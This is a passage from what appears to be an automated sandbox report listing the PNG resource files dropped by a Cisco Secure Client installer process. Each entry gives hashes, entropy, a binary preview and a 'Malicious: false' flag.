^..B..,^.a.RD..+.................}.xi.E+$a=+...n....G...uG..rB.z.a........A+...`6.Re.D\..B..'D....0(,Z>.=.+E..o.....l..Z......T..6..B..hyPf.

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\is-S1EKH.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 72 x 72, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2860
Entropy (8bit):	7.914852791051157
Encrypted:	false
SSDEEP:	48:1vgVWGnIUiSbzr6C6bm/8B3fMKfxYtg+hRKdQr5iQGAOUnonGVY5Q14pUcblw/Gu:1YIUxbavbmUZxYtVXABUno7Q5cblwDSI
MD5:	DA68BAC3A525CC1ACE0BC4836A49D3D5
SHA1:	5C7D343913F75C7595BBA487031056B54F2AC6CE
SHA-256:	DC088A5CD630537A875466B7278DDDE0E54203C733D0950F67B0D3896B671A09
SHA-512:	A5F4BCC1A2CADF82927CEBD0373694086BDF955D7B755118255AAE3FA7CF7EB05748C81B35A759A8202991B2B2D5F77709FC84C58D0554430BE3AE8B51519264
Malicious:	false
Preview:	.PNG........IHDR...H...H.....U.G....pHYs...........~.....IDATx..\.L......E.ki....`S.uB&HRP......E7.5.f.K.t.e....lV..ve.M'..@..."..t).U.R.(r@I....^.......;...._B.......w..{..y...Q.a.df......G3.T......&.....`.q..2Z2..h3...Q.....d..q..b..?.9}......6...I5DT.7u....B..i...._.........\.>..........U..r.=.]....rb. !'{-m...DO..N.\....,.'.TO.t!..X...(';]......KT.N.pE]..1AFK&\.(.%.....!iK...^;V%..6.u..CB...Jh.\....f1............&..2Z2!..`5.r7.+.wSlL....?.......N..@..8.M6..2h=.h..ID.bc...YRD?}....4...O.=.O..I+.....sd..d.=.o.D.&.89...WD.,=H..)z.'`...xZ.n...vD....l0Ynj!.g...C.9qd..7.....D..M:..y>Y......9.I..i.$..=....C.G..lu.....L..u.`..b.{=>Xp#).`....o.]^U.x.s56&:......w..rI0W'...C{uO7f.h.4i`p.!..jqR..k .L.:0\.=.n.7#K0C.U.K...X...b<}x.A .._....?..=..a.n....o..v=.N..9jQ.C.....kJ2.,....?v?f.A.../^h.,=.).Df.P..p....$..{Dz...C:v..t.......[G.a..>3.R...=..Z....X....}%.CV...J....p.6<......}v....T..3.5._].....c.V.~..A.z.....x./^..q....?.......9 ....5.?.Xy...s ..

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\is-SJHCR.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 200 x 201, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	13727
Entropy (8bit):	7.982847912604664
Encrypted:	false
SSDEEP:	384:63aRGz9MobH6FYdTA1tjCtZPXq5Sc5Li2H2E:v29jH6FJ1YnyLii2E
MD5:	2DDF6BB80F9B33B219E448F37ED394C0
SHA1:	BD1D1397D9011D9CF81D1061095CEA39C81AEE56
SHA-256:	8CB70AAF7D9D0C98AF0E6C640A78A2D4CABA2DC3DA8876208AD9A617A6E7A226
SHA-512:	00E86EDC454CF26E50D8AEEDF2CBC031E79F609E280E27FA87381CE6C7F9F6A8611FFC6EB1075BE271F0E864EDAAE89FDB25502BCB34C66412B6504C370154CF
Malicious:	false
Preview:	.PNG........IHDR...............M.....pHYs...#...#.x.?v.. .IDATx..].t...7h....k..B..S......5Q.O.l..-D.....K....j.X.T.....T.....66..D,X.B..J..@...}...3.s...{.\|k...?3sf.>..oJ..^..-(.BDk..o.<........... =......"......\..{.....q..-(N.T...UZ.y.'p"..=Y.Ip.....K.^.:Q........E.wp..+.$..3..]...0.J.....)_......x...\M...1..$:.{B....0..e..]0..Z.Y.]...D'...k...p~....3D_.O,;..O..../5....#h..?./?8..[....7..#.....f.4?e..}..j\|e.......'.....d.N...b./...D...p...h]._S>9D.~..M.M.....M.\|.@.-.Rr.$..k6.....2..7..v.L.?.Vb=...tl(...1x.._.....fJ$.C.......go...6.c....m.^.N.L&.....}/.j.})_......[.\...k5.....{EK...."......m...G.:.D...\w.q;.p.*%`.}..g.x.D/.c............HE%".d..?..'...DB.......U...<....k....y..N...8...f=..5. ....qO.[P.GD;.h......y...b..... .TT..}..:....M.l....w.wG.h.3....S........O..M...;.wF.p..xCt..T.I.2y)v.Ip6....`....H..V...mi...?a.F.Z2.(%....S...y.W..A.$.}N..(.....m.I..7e.....dr..=..n.7.-....I........L..5y........->1.".R.x.......n.^...Go.9~.!.-....

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\is-T6AC8.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 3563 x 1383, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	83426
Entropy (8bit):	7.358868361468608
Encrypted:	false
SSDEEP:	1536:dixvvTkILgVLxXyJl/WOwiu/PK7KT+vWJv1RASI/sH4PIfeN9Oo:avvTfg5Fyv/WOwiurQWJ9e0H4PoeTOo
MD5:	4AC53A86840972B2C8E661710290F3ED
SHA1:	D305EC46D2A933DA35D0634B1C23B2657A70CA88
SHA-256:	647EFCB4DF9273570A803D5818A37814601B06D41D77A51B61461B12958F028C
SHA-512:	86CCC7CA3A4EC721DB91B498E05C4DED79B3BF88E3AF5BCA4198380742B79C69AFF7BCDE7CE15FC09D1C976C37E56298EC3BECAD9254242ACCFAD9CBD6159BA4
Malicious:	false
Preview:	.PNG........IHDR.......g........@....pHYs...#...#.x.?v.. .IDATx...Mr....N+.....O....OeM..W..;Hy.^...Wt..M..$....r]_Gj.A.................................................p.....?.=....._......\..?....\|;......T.T..=S.....i.[.........@.T\|......SQ..p>.N...l.e..>/.2...\.f.."../.2.....i..@atu..\.............Tv..R.........W;....[.....^;..}.O..+....C.7.@:Y..#O....LE..>....x..B-....LE..?..z..Yk.s.g.\|.1/.>....}.5..<a...Y..Z..J).......}.....W\|.\|...!..f>&.j..f..z-...9..Q.R#c\|..m..ww.N....F.E\|.......?...?w.p.t....B+...}g...G.1....F...2.........v.M.........]...E..%.us........B...9G.K.._..5F@.<?....C.E8.-.\[.c.....=.i..PZ53p......<...o.;..O7..w..T....X...\..k....{.....Dv..Y.1..MI.......R......#....0..S.%T\|.3..5....\|..Q....46.....6ml<..^_.2....k.SJ.>O...A....U...g.\.F.#j.m.7u......-!.p.4..........!...[..Rh.?......F..5.C....S.W..B~7...0..\|.\|....J.Ze...P...H].u.6....p......P.:i.F.g..$GE......ch.3q......J`.wo.,..^......efy.a....s.i.P.l*...

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\is-TEO2T.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 200 x 200, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	8594
Entropy (8bit):	7.973082494080156
Encrypted:	false
SSDEEP:	192:IhgOYUbtU91yZQm0IZ5GE1njVNMooVREvukNGEsuiaoYOyF40:IhaUpU91ScIZ5PjVNaREvpjiao4+0
MD5:	D1F876BC1C789A4108570185251B864E
SHA1:	9F91D3B837191A9499CD2959EC1802CF444D78AE
SHA-256:	DF137D0086B1A5DC1A0508643AB8DBE66A0A268A2A5E7A539EDF39F6957AF1AB
SHA-512:	4E1D5AE2D6539B38EDEFEC017B41DD50D7EA41AEF9B6783538D8D19D9C14E2D9411D2DF86AC672BD6B171A507F77EF2D4976003206DC4624687BA4588BAA6688
Malicious:	false
Preview:	.PNG........IHDR.............._......pHYs...#...#.x.?v.. .IDATx....U..G!o.<.........Mi@...t+iV@[H.X..-MZ...6E.lZ...X.>%jW..&..]-P.JV.<..Z...Rt..@M.mM7...9sg..;s.{....s.3....o~.H...w.......-...-.<.......4.5.y..d'....7......b..{.....]7..?u......}5y...M.k...`..U.w.............>.}...h..s.... ....Gu!....[tc ;....F...v...k.{.x.'U..;..-..'...B.Y....I...R..0Zw...`u.C...\|].....m...y...V.I..?.L.;.8.....Ez&\h.'y.........;...-...G.y/9....}...S.@..+._....a.9WZ...._W+-.B.>.m..:....o..\...<Mu`.a.........o..w.]@=/_\|9Y..~....b...>.dk..4VY...5...v+r"...qw....sm..&.]."y.x..I...kt!fw..Xx.....\.,}.=.gH..AgA..xV.\t..".0.(...8a\.QJ..k..Hu..........E..l/...4=x.54l..$j.k3M.../.l\|r.=...K.Rt.Z..........N....v...z..S...1^..u...P..j.BF.W...iH.....n).....=.s8...!bx.N<.\]....,.6..`..b~8...[..X..o..R.X.`!BiZ.0...t.im..o....n...s...\|W..<....K.by..o..l......{.KMe.....g.n5..b+w.B.Ilo...M?.V:X...!..&.KJ...?...Lj......._.~...l.}...=..HO.@?!d_.O.Vy.....QI=..b4...8t

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\is-TET11.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 201 x 201, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	12258
Entropy (8bit):	7.976396258951981
Encrypted:	false
SSDEEP:	192:Fkocto5a0L5W0WyUW8l4JGfcRWyryRN77YK/CPEyei5rTiKb9bdgih7OnT:Fkocto5zW0dNaAfRxKK80dbd5hanT
MD5:	33B3721B931071C69A9ECDFDAEF39F29
SHA1:	EE4DD7077CFDA9C0A2FE594CE8C9496EF23CA2E3
SHA-256:	55FC14B826D7F3C9F47F14CDBDAE488F1D4FE3678CD95BBBF7E643436F382D37
SHA-512:	B8E1843F2F08ADF93F7277FFAF8DD5299F7F5FCFA38AD15EC54422D4E3048822E15BB9D0B682D1728B6E4064CAE32222998ED48D41310FE7D9C58116D6D9E108
Malicious:	false
Preview:	.PNG........IHDR...............&.....pHYs...#...#.x.?v.. .IDATx..}.x.....Q?.....!.._..t]..$.`W@..Z.......]..h..B.n...j/.R.~..P`..+A..-J...o..u....9..3s...7....+y.3.<.<..%....5.....Sv.o?9p.....=..t....~./,]ID.>....O.p9.T.6.I/.......s'O...}.....QkS].y36."..P.../f...E..Y....n.h.K.uN2..zn.....M...Y.n?.....V(G......o6.....n.G6........O~ai...hn+....s..3...3...........X0.t..o....Gr.w...../{.l....3"..d#s..]..S^...x.7\.xtk7.k....f..8.....MMM.......At...'.t1......c}...k.....U....b]dW.=.k.=.o..a...o....v &T....-j....q.o.5=....w.2.v.&U.37F..WG...vn....l......S...g`'./.\|Z....lSP.....ji...N.<..6f.u^.v..l;)F...$.....E81..F7.i..h.+.2~3.SBD..w.q/...z+.?..........^.S.(.3f..N.......km..v....#.H7..S&0J/._XZ@D...t2a.........tD..#..]"s...J....\|M....?..tLH....&.8.\|t.H.\/..O\|C....":..E)Q.R.....<?...M.}............1..3.....]5.w+....W.>7. .j..>..,b8..c..v.E..........;.\.:];.I.S..CE...c..._...........r./e..C...t..7.yLJ..{_.z........W<E;f^g....O2..>\|.n...o..7Q.d.

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\is-TNHLT.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 16 x 12, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	3884
Entropy (8bit):	6.749338244156901
Encrypted:	false
SSDEEP:	48:ildHE8+JjpMNNa3OjboViS4nXsAYdPd3F58ZpiU54SN775OBQgJLkXf:iXHt+JcNgOSiS4XsAYNpf2ESNtg1kXf
MD5:	ECBD0E4A17836F184F084BF3D9170141
SHA1:	45E135215179398684C1D52BB8430D827577500D
SHA-256:	5734B02A7A809DC54D75C00E7137CE9F2BF85CE8050B6105016FEE5D5E1BA44B
SHA-512:	5EB8B7519E6F9EE518812B3F0D8DF3C3E6A73A899E70F853848C69551B783663111B62900837CF0F02098A7452EE3D8638839658B3724990BFA5C2BF148B8D05
Malicious:	false
Preview:	.PNG........IHDR.............\9.....gAMA....\|.Q.... cHRM...........R...@..}y.....<.....s<.w...9iCCPPhotoshop ICC profile..H..wTT....wz..0.R.....{.^Ea..`(..34.!...ED."HP..P$VD...T..$.(1.ET,oF.........o......Z..../...K......<....Qt.....`.).LVF._.{......!r._...zX..p..3.N....Y.\|......9.,...8%K.......,f.%f.(A..9a..>.,....<...9..S.b...L!G....3..,....F.0.+.7..T.3...Il.pX."6.1...."....H._q.W,.d..rIK..s...t......A..d.p....&+..g.].R.......Y2...EE.4...4432..P.u.oJ..Ez...g.........`.j..-....-....b.8....o....M</..A...qVV....2.....O.....g$>...]9.La.....+-%M.g.3Y.......u..A.x....E.....K.......i<:...............Pc...u@~..(.. ...]..o..0 ~y...s..7.g...%...9.%(....3........H....@...C`...-p.n.......V..H.....@....A1....jP..A3h..A'8..K....n..`.L.g`......a!2D..!.H... .d..A.P....B....By.f.....z....:....@..]h...~....L.............C.Up.......p%....;...5.6<.?.........."....G..x...G.....iE..>.&2.. oQ...EG..lQ..P......U..F.Fu.zQ7Qc.Y.G4....G......t...].nB../.o.'.1.......xb"1I.

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\is-VFD1E.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 16 x 12, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	3882
Entropy (8bit):	6.743390042757195
Encrypted:	false
SSDEEP:	48:ildHE8+JjpMNNa3OjboViS4nXsAYdPd3F58ZpiU54SN775OBcXLBz:iXHt+JcNgOSiS4XsAYNpf2ESNV7Bz
MD5:	3FFF593238B9889FAFEB8D0128212244
SHA1:	D7D9421F3DAB1DF9ED621322554EA78444513815
SHA-256:	FDA8EE98D597820B24B2AAE23909585D4E5BFD0FDC573F901FA6139A30D9A2F0
SHA-512:	4BC00D211799B3C09BA0BFBEB676E2F03A9E510D89CFBF4CFEEAAB47232A782E756F67B6194D551B7659741E1114D0BD648B88EDD02BE43C32D4E2BB2ACC1339
Malicious:	false
Preview:	.PNG........IHDR.............\9.....gAMA....\|.Q.... cHRM...........R...@..}y.....<.....s<.w...9iCCPPhotoshop ICC profile..H..wTT....wz..0.R.....{.^Ea..`(..34.!...ED."HP..P$VD...T..$.(1.ET,oF.........o......Z..../...K......<....Qt.....`.).LVF._.{......!r._...zX..p..3.N....Y.\|......9.,...8%K.......,f.%f.(A..9a..>.,....<...9..S.b...L!G....3..,....F.0.+.7..T.3...Il.pX."6.1...."....H._q.W,.d..rIK..s...t......A..d.p....&+..g.].R.......Y2...EE.4...4432..P.u.oJ..Ez...g.........`.j..-....-....b.8....o....M</..A...qVV....2.....O.....g$>...]9.La.....+-%M.g.3Y.......u..A.x....E.....K.......i<:...............Pc...u@~..(.. ...]..o..0 ~y...s..7.g...%...9.%(....3........H....@...C`...-p.n.......V..H.....@....A1....jP..A3h..A'8..K....n..`.L.g`......a!2D..!.H... .d..A.P....B....By.f.....z....:....@..]h...~....L.............C.Up.......p%....;...5.6<.?.........."....G..x...G.....iE..>.&2.. oQ...EG..lQ..P......U..F.Fu.zQ7Qc.Y.G4....G......t...].nB../.o.'.1.......xb"1I.

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\is-VQL3M.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 201 x 200, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	10811
Entropy (8bit):	7.9725003667897125
Encrypted:	false
SSDEEP:	192:xGW6GZ0zrJJ+M0jTsGzV2jysFfqybOB4twma2iNrHbC4ussE84u:xMZUTsGirFioOBg49VvusV84u
MD5:	A805DED6582E8382AB22EAF761559ED7
SHA1:	2C5C4C718AFC5566FB5D6B458CAFB04AC96B6A13
SHA-256:	393968B4F0F62527169D0D3DB56D756DE094D6F91252536BCD08770B83C98446
SHA-512:	F47219CE8D631FB79BF9FF67D24B57253A5F56E2DF98A35C5769D84A101E6E6ADA66D2B2E1FA6B1141087060200F97E48EA01B99CBE9B81FFA727E76ABA07713
Malicious:	false
Preview:	.PNG........IHDR.............5..6....pHYs...#...#.x.?v.. .IDATx............`....L)VT.U..Id.`....jt.$.M...`m.........+.T4..8.....d3...^..R1.Q.K.5+. [.....sN..}.q.._...........$+.D..Rm.O..`./..=..?"........n..(.T.6.I.......sg\|......K............x...p'.V.....6.........w..d..v...S.Yiu ..xf....!7."t.0........F.;u...3.y...........\...Yy..g...w...........=..J{.7..G.<..>..I."........Lwv..s..V..[.;.v0v...].....o............'..e....9=....?(........g~~O.@..........\|<.A..t..o.....f......K.z.'...}Fp.... ..9x.......U...e..m..;...R.@x..^...Mas.Y.=.?\..{.us.. .Z.o:..L..q.Q.>.?.........1ET..5.\|....`.P...AF6_.R\|.=.{......B......w..s..k.%3.....3R....3H....&._1.L8.,ydq;y.c....6..7B..+.8..l.'=HR...Y.!j..<...=.>.<.x .w..M..._,.x0....q.,.LB. ....6.yxh....\B._..\..E..k..}..o}....[.6/...0z1.......v.D.s3..L.LV..%.MJ$;P.v.\.=..L...J..$......./....H.....x^.m...l/-.....<.-,..e..cD...;>g....0..Z...n..@.0BZ.3..x......,.9..?}.....d.....H...#_.....S2QZ.._

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\is-VVRE3.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 201 x 201, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	13810
Entropy (8bit):	7.9753795366170355
Encrypted:	false
SSDEEP:	384:9UvTt4Skm1eC/3ndqwLk01JZ1GUhDYLk6pb2IloPTCDnnd:9qeSXeC/7TYpb2jSnd
MD5:	276699732D96B797E30C6092A6B9A3C8
SHA1:	9430D64617EC4CAA2895D0755824E556568FDC70
SHA-256:	217DD0FA6E750A6E5E422744ED0650204519942130254825CBE87B16E5E5AAAD
SHA-512:	884D6A9A105697FD5F4F4032FA14C967826937D42E6B88FD6D8DECC3B03AE0296588CF1D093673765C16CD65872405F52986303DF2453D50DDCA6F540082DA0E
Malicious:	false
Preview:	.PNG........IHDR...............&.....pHYs...#...#.x.?v.. .IDATx..}.x....B.R .w4..-.p-b..o".....`U.R+.+..=..<....J.b...."..U...ATD.....R....G. ..Nf.k.^k..k.%........3..o}..T...y........Pkt......r..wj_.~z...^....l\|2....L._...>.I.../..^...N.6.$...:Q.N.iK.........V...X%N&.[Q.-c'....W.p,~U..-...S.....N.z~.w. .....;..<..>.?..._oK....w......3..[U[.....o.?..U.>.[...lR...D...u.w.../n.Y...{.x8O...M,......;.d<..1.._7).D&`.....N..3jx.g.S.[....N.n#..^?H...x.'.^}.i......_H.....I~1..;.S....;;.......x.w...............~@oly.;....F..]...i.?.P.6m..Q...#%.%...$<.p..W]...'.A....._uL;.o......_~.>........L..O.}..b....I.Gae.n....U..Y.6m.....+.-4.;.].............p...A..g.../...N..+(.$...n..S..&.....\z...]..y..v...?[...=.NZ.\....#.J*f.q`#..H..W.45.V.{...G..<IT..'K.f;Q.Vz.....u7.W";AT....1.-_.$.'d...-.<.c^o%::..L.%N<.+sLVc,.q.^'..i5&/.6.....i*...Y.N......4$.!(...p1..6U..._.8....#{g.A..@.R.#..)........i............ ..F..S.......Qf.~..u..9......M..cN:.7F'..

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\l2_logo.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 301 x 301, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	10239
Entropy (8bit):	7.950564187811269
Encrypted:	false
SSDEEP:	192:uTeKIu+Nxu1/eEefaoIgGSw78i5GJssnezz3Gu5cMrvF6AO:uTeg+NkdeCodGSiV3dcI96AO
MD5:	7DADB01AC22B7AB6F313726AD5977675
SHA1:	274554CDEB3971D3A9250AA0A7597F8B41D17000
SHA-256:	EBBA9313774314E18ABB4F4342B1C0C93DF22DD45146C6E84A08EB39BD419825
SHA-512:	C77FA7F8791A4852DBA2C9402D705E6C4CDB92DAAF71CD5F46EA8AD6EA35E41D4CFF42296C2F08133A82AE1F31DCA05C61B29AC291F85BBE4C7FDF088A4F0866
Malicious:	false
Preview:	.PNG........IHDR...-...-.....].6.....pHYs...#...#.x.?v.. .IDATx....U.._l.eK.ImJ\.7`vV...R..t..P3.L...N.DZ..R........!8...`..$.dqj..j..-.a.C.....+...WB)S.tc..N.j..xOs.>...\|....UT7....s.......c.!.Q_j.!.......rw..5.....E}.q...R..V.N'Na..@...-...y.`......h..)LS.........J!.....V<(Z9...8E:...-.B.'z.?..1.>X../.k.W(Z9C:.y.=.0.s._.K..#...-........_.0..1...P..C.{-R.Z.~>j.O.X..1...@.r.YJ.....Q.._/......7M..o.4\|....J&.t.w. .9sV.\|..kz^?5.....K.....D......Q.fd..VFIJ. >..;..".$EG'>I...m..=....E...<...?..e..V..S.\|1.3s........K@. ^.w...../`..Bf..V......\....f.w.............).'..!G!`...8......r..!)X5..l.....N%.>.T.x.mq..).E$bp\.....>&.E+A\..Z.?8.E.g.93.....v.T...I...XGW.'j5rL...WBP..@.)l.....=..=......{q...\|.Gtv.Vkr..k7s_.C.............i.l....B.#./.`.....1.(Z1 .jK...tT....._.%.D....W.P.".....z..X.^..7:.z..W..UB...V.."V~..."..!.s/..9.*.G.W.P.j.Z...B...5K..9.\.........}.P...b50T...j.f.U1.....s..}.._.J<^.s...V.d.U..,k VpU..............M..I.u.......%

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\l2_logo_72.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 72 x 72, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2274
Entropy (8bit):	7.88487369762579
Encrypted:	false
SSDEEP:	48:ANENb8K8isarhoHup4l7Hn5MPuvW5LApZJ+WoXY:Bbx3rGHupubC6NpzSXY
MD5:	02AA7BFBC5519A9410E0D27732A6A163
SHA1:	9DDE546C6090CA4BD8BE58F8625A6AE25D440E6E
SHA-256:	B08A8AE17D62E9CF9D6E91E59955AF91E1B126FD82BC1071BDAFEE8AB6818253
SHA-512:	323777E1ABC44F643AD6AE581970D551D6BB94DF485377E91DB411ED8B839C47F8490002DF9756AD340BC19D8676050A620A1008F211B3AC32C39BE37CD35093
Malicious:	false
Preview:	.PNG........IHDR...H...H.....U.G....pHYs...........~.....IDATx...LUe....]i...%L.......^....#.J[6...[.Q.....2.0.p...sT...o.c.n..dE[N/E.9..H..k.....{..s.....wc.{.=?..}..}..}.3....jK#.d"......&"......ug.\|b......".&.,"J..[.x..&.J$s....]=t..........TMDU.G.5=._.@&...........c[\|V..v...\|3..3.......,...`vp0.@.H...e.`V..`]..g.^sN........ o0..-.gQFz........J..+j.h@&...T@D...k.zwl1Z.t.......r.U.. n5..5p..{..f1r.E.=P"\..6.jM..2Ym.....u.V..=[)&:."i...^.{.(U.:C.V..uMjo........N.DG..9.......?.4,....)cy..H5?]..s..5.lm.w:TAR...)M...YV.GK...<.....\|.".p.%.....f.u5............Rr..y.}..DLSr.".z...w....n..d...8B.@...xmU.4+...J.n............(KQ~...,.L....>..LV..9....[..../.G.T..(..>4(7...xGw........h.....X.....{..V-@B.../..y..1..W.d. nn...&....~...S`....k...@k{.w.dP-.n....Z.(...=.:...N..#\......-~......0..;...K. .'....;..\|J.n.d.t...A_O)d..g r...w-...e........@5.d.v...........e.y-....3\.......H..[.g.roI.=.(B...\.d.....jh..K..S.].......Xf...jC....ol...2

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\menu.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 24 x 22, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	291
Entropy (8bit):	6.344520469543007
Encrypted:	false
SSDEEP:	6:6v/lhPqJsXTSgECFg9ZA3teRaCCgqMtK+ywsl3DF1bp:6v/7hXeBOgIYawtvyx3/1
MD5:	DA395D5499E3403BC29899F8ED09E0F4
SHA1:	A6806BF5F7B2B0E1DDB705E2DBDF761E704738CD
SHA-256:	E72F87D5171DCD847C6A5994471B97339C4595E0C55591B1641227B56DB02041
SHA-512:	FEF71C2D806F506CD67B3338484C0B100989135012E72B321287C662AD65BD9120B210270D0B023F76FCAFD23237E9EDEDD5987E6B4D3731B9776B2EB338FE18
Malicious:	false
Preview:	.PNG........IHDR..............}\.....gAMA......a.....pHYs...........~.....tIME........w.e....tEXtComment.Created with GIMPW.......tEXtSoftware.Paint.NET v3.5.100.r....gIDATHKc`...!@........0.a\|Rh..r....0E0>)4.}=..t.....0W....x}......a.`\|R...dTw..........B.u..-.z...8.C..^...Y.......IEND.B`.

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\mftogglebtn-down-solid.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 300 x 40, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	1601
Entropy (8bit):	6.020486157649533
Encrypted:	false
SSDEEP:	24:HA/6I1hxWwUyl3ZknA9VYVhEfNAG+ojoyMmcI1VYj41jCw1jaPl3VYjJoUHH3yG3:g/6G6GknA9Wg2O0y/c0CKum23CuUHiWV
MD5:	F999F81B91475C98DE33D66E186DF2CA
SHA1:	397B889C5AA95A25FFBD128656BE5D91A71F3275
SHA-256:	F807E26DA3A4BBFBD9552D2D50FB0F5FC28AAC46635470E3F834C2042C05310B
SHA-512:	2A43CB4EFC414F8FAE4EA173FB53CF2819975C76170DCEE4A995B3A74786C167C26DF258E1E589ECD92DECB999683EA38C6C4882CC2E299313C9357080521844
Malicious:	false
Preview:	.PNG........IHDR...,...(.......P.....pHYs................:iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" tiff:Orientation="1" xmp:CreateDate="2018-10-09T14:27:50-04:00" xmp:ModifyDate="2018-10-19T17:58:51-04:00" xmp:MetadataDate="2018-10-19T17:58:51-04:00" dc:format="image/png" photoshop:ColorMode="3" photoshop:ICCProfile="sRGB IEC61966-2.1" xmpMM:InstanceID="xmp.iid:c57f0649-d423-40eb-938e-eeff8347c1a5" xmpMM:DocumentID="xmp.did:c57f0649-d423-40eb-938e-eeff8347c1a5"

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\mftogglebtn-down.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 300 x 40, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	1601
Entropy (8bit):	6.01754566314674
Encrypted:	false
SSDEEP:	48:g/6G6GknA9Wg2A/c0glTl3clp3glfHiucV:gSuknmWg2A/qlTlslelfHiucV
MD5:	1F1425233D56C7381E8A1B9544656A3F
SHA1:	13DA3D280A4561F9018BFDF2C55396862B42C3BE
SHA-256:	FD348FEFE62E962AD34D03B3639E850AAEDCEAD2585311F8F665EFFF9319A6BA
SHA-512:	ACEC3FD68209F5AF45FC0736ECD9DB2441E69BD0A0DC43C45CEF2529BDC14B4D4A41696C0BED6E11876F066E137D29E270866FE86F3A20FC4CB9F09BA0EFE0AC
Malicious:	false
Preview:	.PNG........IHDR...,...(.......P.....pHYs................:iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" tiff:Orientation="1" xmp:CreateDate="2018-10-09T14:27:50-04:00" xmp:ModifyDate="2018-10-19T18:00:07-04:00" xmp:MetadataDate="2018-10-19T18:00:07-04:00" dc:format="image/png" photoshop:ColorMode="3" photoshop:ICCProfile="sRGB IEC61966-2.1" xmpMM:InstanceID="xmp.iid:c52f4fb1-426f-49c5-a2f3-2e915bfa2393" xmpMM:DocumentID="xmp.did:c52f4fb1-426f-49c5-a2f3-2e915bfa2393"

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\mftogglebtn.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 300 x 40, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	1577
Entropy (8bit):	5.942243839150427
Encrypted:	false
